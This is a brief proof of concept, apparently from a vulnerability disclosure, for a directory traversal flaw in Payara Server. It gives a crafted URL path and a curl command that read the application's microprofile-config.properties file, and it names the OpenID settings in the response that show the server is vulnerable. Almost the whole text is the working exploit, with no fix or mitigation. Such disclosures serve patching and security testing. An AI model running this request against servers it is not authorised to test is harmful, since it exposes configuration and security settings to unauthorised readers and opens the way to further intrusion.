Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties
